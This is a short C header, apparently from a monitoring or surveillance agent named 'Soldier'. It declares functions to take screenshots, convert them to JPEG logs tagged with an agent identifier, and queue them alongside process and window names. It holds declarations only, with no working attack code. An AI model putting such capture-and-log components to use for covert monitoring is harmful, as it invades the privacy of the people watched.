Soldier/screenshot.h
#ifndef _SCREENSHOT_H
#define _SCREENSHOT_H
#pragma pack(1)
#define LOG_SNAP_VERSION 2009031201
typedef struct _SNAPSHOT_ADDITION_HEADER {
UINT uVersion;
UINT uProcessNameLen;
UINT uWindowNameLen;
} SNAPSHOT_ADDITIONAL_HEADER, *PSNAPSHOT_ADDITIONAL_HEADER;
typedef struct
{
DWORD dwSize;
LPBYTE lpBuffer;
} SCREENSHOT_LOGS, *LPSCREENSHOT_LOGS;
#define MAX_SCREENSHOT_QUEUE 1000
extern SCREENSHOT_LOGS lpScreenshotLogs[MAX_SCREENSHOT_QUEUE];
PBYTE TakeScreenshot(PULONG uOut);
VOID ScreenshotMain();
BOOL QueueScreenshotLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize);
PBYTE BmpToJpgLog(DWORD agent_tag, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality, PULONG uOut);
#endif